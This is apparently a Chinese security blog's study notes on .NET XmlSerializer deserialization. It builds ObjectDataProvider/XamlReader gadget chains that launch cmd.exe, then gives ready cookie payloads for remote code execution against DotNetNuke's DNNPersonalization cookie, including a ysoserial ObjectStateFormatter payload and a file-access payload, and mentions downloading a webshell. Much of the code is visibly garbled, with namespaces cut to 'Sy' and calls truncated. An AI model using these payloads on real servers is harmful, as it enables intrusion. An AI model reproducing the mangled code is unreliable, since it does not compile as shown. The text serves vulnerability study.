.NET XmlSerializer

结构化XML数据是。映射到NET对象,XmlSerializer类中的程序通过单个API调用在XML文档和对象之间执行转换,转换后。它由NET类的元数据属性表示,web程序通过控制Type类的静态方法来获取数据,并调用Deserialize Deserialize Deserialize

(本文主要是一次对.net 序列化漏洞的学习笔记,如本文有错误、还请大佬们多多指点)

XmlSerialize 反序列化

序列化过程

using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Controls;
using Sy.Data;
using Sy.Documents;
using Sy.Input;
using Sy.Media;
using Sy.Media.Imaging;
using Sy.Navigation;
using Sy.Shapes;
using Sy;
using Sy;
using Sy.Serialization;
using Sy.Linq;

namespace WPFApp1
{

[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return ba();
}

}
/// <summary>
/// MainWindow.XAML 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
TestClass testClass = new TestClass();
= "test";
= "0xdd";
= 18;
FileStream FileStream = File.OpenWrite(@"C:WindowsTemplog.txt");
using (TextWriter writer = new StreamWriter(fileStream))
{
XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
(writer, testClass);
}
}
}
}

成功生成xml 数据 在 log.txt

反序列化过程

将xml 文件 转换为对象是通过创建一个新对象的方式调用,XmlSerializer.Deserialize 方法实现,在序列化最关键的一环当属new XmlSerializer 构造方法里所传的参数,这个参数来自Sy类 ,通过这个类可以访问关于任意数据类型的信息,指向任何给类型的Type 引用 有以下三种方式

typeof

实例化的XmlSerializer 传入的typeof(TestClass) 表示获取TestClass类的Type
typeof是C#中的运算符,所传的参数只能是类型的名称,而不能是实例化的对象,如下Demo
using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Controls;
using Sy.Data;
using Sy.Documents;
using Sy.Input;
using Sy.Media;
using Sy.Media.Imaging;
using Sy.Navigation;
using Sy.Shapes;
using Sy;
using Sy;
using Sy.Serialization;
using Sy.Linq;

namespace WpfApp1
{

[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return ba();
}

}
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
TestClass testClass = new TestClass();
// = "test";
// = "0xdd";
// = 18;
//FileStream fileStream = File.OpenWrite(@"C:WindowsTemplog.txt");
//using (TextWriter writer = new StreamWriter(fileStream))
//{
// XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
// (writer, testClass);
//}

using (var stream = new FileStream(@"C:WindowsTemplog.txt", FileMode.Open))
{
var serializers = new XmlSerializer(typeof(TestClass));
testClass = (stream) as TestClass;
}
Me();
}
}
}

通过typeof 获取Type 之后就能得到该类中所有的Methods、Members等信息 ,下图在运行时、通过反序列化在对话框获取了当前成员Name的值

object.Type

在.NET里所有的类最终都派生自Sy , 在Object 类中定义了许多公有和受保护的成员方法,这些方法可用于自己定义的所有其他类中,GetType方法就是其中的一个,该方法放回从Sy派生的类 的一个实例,因为可以提供对象成员和所属类的信息,包括基本类型、方法、属性等,上述案例中实例化TestClass,再获取当前实例的Type

using (var stream = new FileStream(@"C:WindowsTemplog.txt", FileMode.Open))
{
var serializers = new XmlSerializer());
testClass = (stream) as TestClass;
}
Me();
}

Ty

第三种方法是Type类的静态方法GetType,这个方法允许外界传入字符串,只需要传入全限定名就可以调用该类中的方法、属性等

using (var stream = new FileStream(@"C:WindowsTemplog.txt", FileMode.Open))
{
var serializers = new XmlSerializer(Ty("W;));
testClass = (stream) as TestClass;
}
Me();

打造攻击链

ObjectDataProvider

ObjectDataProvider 类,它位于Sy.Data 命名空间下,可以调用任意被引用类中的的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数

demo

ObjectDataProvider object1 = new ObjectDataProvider();
objec = new TestClass();
objec = "ClassMethod";
objec("calc.exe");

因为直接用XmlSerializer 序列化会抛出异常,因为再序列化过程中 ObjectInstance 类型未知,可以使用ExpandedWrapper 扩展类再系统内部预先加载相关实体的查询来避免异常错误,改写Demo

ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
wra = new ObjectDataProvider();
wra.ObjectInstance = new TestClass();
wra.MethodName = "ClassMethod";
wra.MethodParameters.Add("no;);
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
TextWriter textWriter2 = new StreamWriter(@"C:Windowstemp;);
(textWriter2, wrapper);
();

ExpandedWrapper 需要使用引用 Sy;

完整WPFdemo

using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Controls;
using Sy.Data;
using Sy.Documents;
using Sy.Input;
using Sy.Media;
using Sy.Media.Imaging;
using Sy.Navigation;
using Sy.Shapes;
using Sy;
using Sy;
using Sy.Serialization;
using Sy.Linq;
using Sy;

namespace WpfApp1
{

[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
public void ClassMethod(string command) {
Sy cmd_run = new Sy();
cmd_run.S = "cmd.exe";
cmd_run.S = false;
cmd_run.S = true;
cmd_run.S = true;
cmd_run.S = true;
cmd_run.S = "/c" + command;
cmd_run.Start();
}
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return ba();
}

}
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
using (var stream = new FileStream(@"C:WindowsTemplog.txt", FileMode.Open))
{
var serializers = new XmlSerializer(Ty("W;));
testClass = (stream) as TestClass;
}
Me();

ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
wra = new ObjectDataProvider();
wra.ObjectInstance = new TestClass();
wra.MethodName = "ClassMethod";
wra.MethodParameters.Add("no;);
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
TextWriter textWriter2 = new StreamWriter(@"C:Windowstemp;);
(textWriter2, wrapper);
();

}
}
}

生成内容:

<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfTestClassObjectDataProvider xmlns:xsi="; xmlns:xsd=";>
<ProjectedProperty0>
<ObjectInstance xsi:type="TestClass">
<Age>0</Age>
</ObjectInstance>
<MethodName>ClassMethod</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">no;/anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfTestClassObjectDataProvider>

这样攻击链第一步就完成了,但是因为这里测试环境 TestClass类 存在ClassMethod 方法 可以执行命令,但在实际的生产环境中是非常复杂的,所以为了使攻击成本降低
需要调用系统类取达到命令执行。

ResourceDictionary

ResourceDictionary,称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源,既然是WPF程序,必然设计到前端UI设计语言XAML,
XAML全程 Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体

参考来源于Ivan1ee师傅的.NET高级代码审计

  • 第一个标签ResourceDictionary,xmlns:Runtime 表示读取Sy 命令空间的名称起个别名为Runtime
  • 第二个标签ObjectDataProvider 指定了三个属性,x:key 便于条件检索,意义不大,但是必须定义。ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展

x:Type 相当于C#中typeof运算符功能,这里传递的值是Sy;MethodName 用来获取或设置调用的方法的名称,传递的值为Sy 方法用来启动一个进程

  • 第三个标签 Objec 内嵌了两个方法参数标签,通过 System:String 分别指定了启动文件和启动时所带参数供Start方法使用

XAML概述

可扩展应用程序标记语言 (XAML) 是一种基于 XML 的声明性语言。XAML 广泛用于以下类型的应用程序以构建用户界面

-Windows Presentation Foundation (WPF) 应用
-通用 Windows 平台 (UWP) 应用
-Xamarin.Forms 应用

XAML demo 用途

  • 使用<Button Click="ButtonClick" Margin="136,116,60,55" Grid.Row="1">Button Click 0xdd</Button> 创建按钮

XamlReader

XamlReader 位于Sy.Markup 空间下,主要用来读取XAML文件,默认的XAML读取器,通过Load读取STream流中的XAML数据,并返回作为根对象,Parse方法读取指定字符串的XAML输入,
也同样返回作为根对象。

使用ObjectDataProvider 的ObjectInstance 方法实例化XamlReader 再指定MethodName 为Parse,并且给 MethodParameters 传递序列化之后的资源字典数据,这样就可以完成XmlSerializer 反序列化攻击链的打造。

  • 实例ObjectDataProvider 实例化XamlReader 调用过程

xml

0x01 xmlns:Diag 引用了Sy 命令空间起名为Diag
0x02 x:key 起名为LaunchCalch 这个值也可为空,在xaml语法中, Key这个键值必须有
0x03 ObjectType 表示对象类型
0x04 x:Type 相等于 typeof()
0x05 MethodName 是ObjectDataProvider 的属性,值为Start、指定调用Start方法
0x06 Diag:Process 等同于 Sy

<ResourceDictionary
xmlns=";
xmlns:x=";
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:Sy;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<Objec>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</Objec>
</ObjectDataProvider>
</ResourceDictionary>

调用过程 使XamlReader Parse方法 接收指定的 xml 数据

using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Controls;
using Sy.Data;
using Sy.Documents;
using Sy.Input;
using Sy.Media;
using Sy.Media.Imaging;
using Sy.Navigation;
using Sy.Shapes;
using Sy;
using Sy;
using Sy.Serialization;
using Sy.Linq;
using Sy;
using Sy.Markup;

namespace WpfApp1
{

/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
wra = new ObjectDataProvider();
wra.ObjectInstance = new XamlReader();
wra.MethodName = "Parse";
wra.MethodParameters.Add(@"C:WIndowstempxml"));

}
}
}

demo

y -g ObjectDataProvider -calc -f xmlserializer

<?xml version="1.0"?>
<root type="Sy.ExpandedWrapper`2[[Sy.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[Sy.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], Sy, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="; xmlns:xsd="; >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="; xmlns:xsd="; xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="; xmlns:d="; xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:Sy;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><Objec><b:String>cmd</b:String><b:String>/c alc</b:String></Objec></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
<ResourceDictionary xmlns="; xmlns:d="; xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:Sy;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<Objec>
<b:String>cmd</b:String>
<b:String>/c alc</b:String>
</Objec>
</ObjectDataProvider>
</ResourceDictionary>
using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Controls;
using Sy.Data;
using Sy.Documents;
using Sy.Input;
using Sy.Media;
using Sy.Media.Imaging;
using Sy.Navigation;
using Sy.Shapes;
using Sy;
using Sy;
using Sy.Serialization;
using Sy.Linq;
using Sy;
using Sy.Markup;

namespace WpfApp1
{

/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}

攻击链形式

汇总来说攻击链分了2种形式

  • ObjectDataProvider – > Cla() 该种方法 需要代码中有类含有恶意的方法
  • ObjectDataProvider – > XamlReader.Parse() – > ObjectDataProvider -> Sy.Start(“cmd.exe”,”/c no”) 通用调用

XmlSerialize 代码审计视角

DNN Platform 漏洞版本下载地址

入口点

通过dNSpy工具 对代码进行审计,根据漏洞描述,我们可以明确,通过设定Cookie DNNPersonalization 的值 造成远程代码执行

从代码41中行可以看出,当 if(userId > Null.NullInteger) 条件不满足时 会从Cookie中取出DNNPersonalization 的值, 赋值给text 并由 Globals.DeserializeHashTableXml(text)) 传入
XmlU() 函数

跟入Globals.DeserializeHashTableXml

继续跟进 DeSerializeHashtable

XmlDocument 命名空间:Sy 表示 XML 文档。 可使用此类在文档中加载、验证、编辑、添加和放置 XML。
详细可参考 https://docs.microsoft.com/zh-cn/dotnet/api/sy.xmldocument?view=net-6.0

XmlElement 命名空间:Sy 元素可以有与之关联的属性,例如使用 GetAttribute 方法 返回具有指定名称的属性的值。
https://docs.microsoft.com/zh-cn/dotnet/api/sy.xmlelement?view=net-6.0

分析函数功能,

1.初始化了XmlDocumnet,并通过LoadXml 传入xmlSource,通过 xmlDocument.SelectNodes(rootname + “/item”) 进行选择匹配 XPath 表达式的节点列表。

rootname的值 为 return XmlU(Source, “profile”); 传入的 profile,那么获取的为<profile><item>标签中的值

2.通过传入的xml数据,使用xmlElement.GetAttribute 获取 type 属性的值,并生成XmlSerializer实例, 通过代码160-163行 可以看到此时 type 和xmlReader 我们都是可控的

构造payload

首先上文已经提到了2条攻击链的形式

  • 1.利用本身程序的方法

具体大家想使用哪个方法,都可以自行查找一些由价值的方法,这里举一个读文件的例子,在 Do 中

按照上文所说的打造攻击链,使用 ExpandedWrapper 进行Payload 构造

需要添加 DoNe Do 引用

using System;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy;
using Sy.Data;
using Sy.Linq;
using Sy;
using Sy.Serialization;
using Do;
using Sy;

namespace ConsoleApp11
{
class Program
{

static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> wrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>));
Type GetobjType = typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>);
Con);
wra = new ObjectDataProvider();
wra.ObjectInstance = new FileSystemUtils();
wra.MethodName = "WriteFile";
wra.MethodParameters.Add("C:\Windows\Temp\0xdd.txt");
TextWriter textWriter2 = new StreamWriter(@"C:Windowstemp;);
(textWriter2, wrapper);
();
}
}
}

运行后生成出了 Payload 并获取了type

type

Sy.ExpandedWrapper`2[[Do, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[Sy.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], Sy, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

根据上面读取DeSerializeHashtable方法的代码,我们还要构造以下xml,使程序可以成功读取type 和xml数据,

<profile><item key="key:0xdd" type="Sy.ExpandedWrapper`2[[Do, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[Sy.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], Sy, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="; xmlns:xsi=";><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:inetpubwwwrootxdd.txt</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

请求一个404的页面,在cookie 中DNNPersonalization 传入数据,成功获取到文件内容

当然,也可以利用Do中的 PullFile 把远程的文件,下载到指定目录 (例:下载Webshell至指定目录)

  • 2.找通用组件的方法

ObjectStateFormatter 一般用于序列化和反序列化状态对象图,位于命名空间Sy、 Deserialize 方法 支持函数多态,可以处理二进制数据、BASE64数据

可以直接利用.net ysoserial 工具 生成DotNetNuke ObjectStateFormatter利用的payload

.net ysoserial 工具

y -p DotNetNuke -m run_command -c whoami
<profile><item key="key" type="Sy.ExpandedWrapper`2[[Sy.ObjectStateFormatter, Sy, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[Sy.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], Sy, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="; /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="; p5:type="q1:string" xmlns:p5=";>/wEykgcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC0BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyB3aG9hbWkiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

可以发现关键点 type和xmlReader 可控,除了DotNetNuke 使用了XmlSerialize,还可以尝试用SharePoint 进行练手

参考:https://www.anquanke.com/post/id/172316

本文由0xdd原创发布
转载,请参考转载声明,注明出处:
安全客 – 有思想的安全新媒体

相关推荐